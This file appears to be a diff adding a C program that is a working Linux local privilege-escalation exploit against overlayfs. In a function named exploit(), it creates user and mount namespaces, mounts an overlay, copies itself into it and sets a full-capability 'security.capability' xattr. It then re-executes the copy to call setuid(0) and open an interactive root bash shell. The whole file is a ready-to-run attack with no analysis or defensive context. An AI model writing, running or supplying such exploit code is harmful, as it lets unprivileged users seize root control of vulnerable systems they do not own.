| 1 | + | #define _GNU_SOURCE |
| 2 | + | #include <stdio.h> |
| 3 | + | #include <stdlib.h> |
| 4 | + | #include <string.h> |
| 5 | + | #include <unistd.h> |
| 6 | + | #include <fcntl.h> |
| 7 | + | #include <err.h> |
| 8 | + | #include <errno.h> |
| 9 | + | #include <sched.h> |
| 10 | + | #include <sys/types.h> |
| 11 | + | #include <sys/stat.h> |
| 12 | + | #include <sys/wait.h> |
| 13 | + | #include <sys/mount.h> |
| 14 | + | |
| 15 | + | //#include <attr/xattr.h> |
| 16 | + | //#include <sys/xattr.h> |
| 17 | + | int setxattr(const char *path, const char *name, const void *value, size_t size, int flags); |
| 18 | + | |
| 19 | + | |
| 20 | + | #define DIR_BASE "./ovlcap" |
| 21 | + | #define DIR_WORK DIR_BASE "/work" |
| 22 | + | #define DIR_LOWER DIR_BASE "/lower" |
| 23 | + | #define DIR_UPPER DIR_BASE "/upper" |
| 24 | + | #define DIR_MERGE DIR_BASE "/merge" |
| 25 | + | #define BIN_MERGE DIR_MERGE "/magic" |
| 26 | + | #define BIN_UPPER DIR_UPPER "/magic" |
| 27 | + | |
| 28 | + | |
| 29 | + | static void xmkdir(const char *path, mode_t mode) |
| 30 | + | { |
| 31 | + | if (mkdir(path, mode) == -1 && errno != EEXIST) |
| 32 | + | err(1, "mkdir %s", path); |
| 33 | + | } |
| 34 | + | |
| 35 | + | static void xwritefile(const char *path, const char *data) |
| 36 | + | { |
| 37 | + | int fd = open(path, O_WRONLY); |
| 38 | + | if (fd == -1) |
| 39 | + | err(1, "open %s", path); |
| 40 | + | ssize_t len = (ssize_t) strlen(data); |
| 41 | + | if (write(fd, data, len) != len) |
| 42 | + | err(1, "write %s", path); |
| 43 | + | close(fd); |
| 44 | + | } |
| 45 | + | |
| 46 | + | static void xcopyfile(const char *src, const char *dst, mode_t mode) |
| 47 | + | { |
| 48 | + | int fi, fo; |
| 49 | + | |
| 50 | + | if ((fi = open(src, O_RDONLY)) == -1) |
| 51 | + | err(1, "open %s", src); |
| 52 | + | if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1) |
| 53 | + | err(1, "open %s", dst); |
| 54 | + | |
| 55 | + | char buf[4096]; |
| 56 | + | ssize_t rd, wr; |
| 57 | + | |
| 58 | + | for (;;) { |
| 59 | + | rd = read(fi, buf, sizeof(buf)); |
| 60 | + | if (rd == 0) { |
| 61 | + | break; |
| 62 | + | } else if (rd == -1) { |
| 63 | + | if (errno == EINTR) |
| 64 | + | continue; |
| 65 | + | err(1, "read %s", src); |
| 66 | + | } |
| 67 | + | |
| 68 | + | char *p = buf; |
| 69 | + | while (rd > 0) { |
| 70 | + | wr = write(fo, p, rd); |
| 71 | + | if (wr == -1) { |
| 72 | + | if (errno == EINTR) |
| 73 | + | continue; |
| 74 | + | err(1, "write %s", dst); |
| 75 | + | } |
| 76 | + | p += wr; |
| 77 | + | rd -= wr; |
| 78 | + | } |
| 79 | + | } |
| 80 | + | |
| 81 | + | close(fi); |
| 82 | + | close(fo); |
| 83 | + | } |
| 84 | + | |
| 85 | + | static int exploit() |
| 86 | + | { |
| 87 | + | char buf[4096]; |
| 88 | + | |
| 89 | + | sprintf(buf, "rm -rf '%s/'", DIR_BASE); |
| 90 | + | system(buf); |
| 91 | + | |
| 92 | + | xmkdir(DIR_BASE, 0777); |
| 93 | + | xmkdir(DIR_WORK, 0777); |
| 94 | + | xmkdir(DIR_LOWER, 0777); |
| 95 | + | xmkdir(DIR_UPPER, 0777); |
| 96 | + | xmkdir(DIR_MERGE, 0777); |
| 97 | + | |
| 98 | + | uid_t uid = getuid(); |
| 99 | + | gid_t gid = getgid(); |
| 100 | + | |
| 101 | + | if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1) |
| 102 | + | err(1, "unshare"); |
| 103 | + | |
| 104 | + | xwritefile("/proc/self/setgroups", "deny"); |
| 105 | + | |
| 106 | + | sprintf(buf, "0 %d 1", uid); |
| 107 | + | xwritefile("/proc/self/uid_map", buf); |
| 108 | + | |
| 109 | + | sprintf(buf, "0 %d 1", gid); |
| 110 | + | xwritefile("/proc/self/gid_map", buf); |
| 111 | + | |
| 112 | + | sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK); |
| 113 | + | if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1) |
| 114 | + | err(1, "mount %s", DIR_MERGE); |
| 115 | + | |
| 116 | + | // all+ep |
| 117 | + | char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00"; |
| 118 | + | |
| 119 | + | xcopyfile("/proc/self/exe", BIN_MERGE, 0777); |
| 120 | + | if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1) |
| 121 | + | err(1, "setxattr %s", BIN_MERGE); |
| 122 | + | |
| 123 | + | return 0; |
| 124 | + | } |
| 125 | + | |
| 126 | + | int main(int argc, char *argv[]) |
| 127 | + | { |
| 128 | + | if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) { |
| 129 | + | setuid(0); |
| 130 | + | setgid(0); |
| 131 | + | execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL); |
| 132 | + | err(1, "execl /bin/bash"); |
| 133 | + | } |
| 134 | + | |
| 135 | + | pid_t child = fork(); |
| 136 | + | if (child == -1) |
| 137 | + | err(1, "fork"); |
| 138 | + | |
| 139 | + | if (child == 0) { |
| 140 | + | _exit(exploit()); |
| 141 | + | } else { |
| 142 | + | waitpid(child, NULL, 0); |
| 143 | + | } |
| 144 | + | |
| 145 | + | execl(BIN_UPPER, BIN_UPPER, "shell", NULL); |
| 146 | + | err(1, "execl %s", BIN_UPPER); |
| 147 | + | } |
| 148 | + | |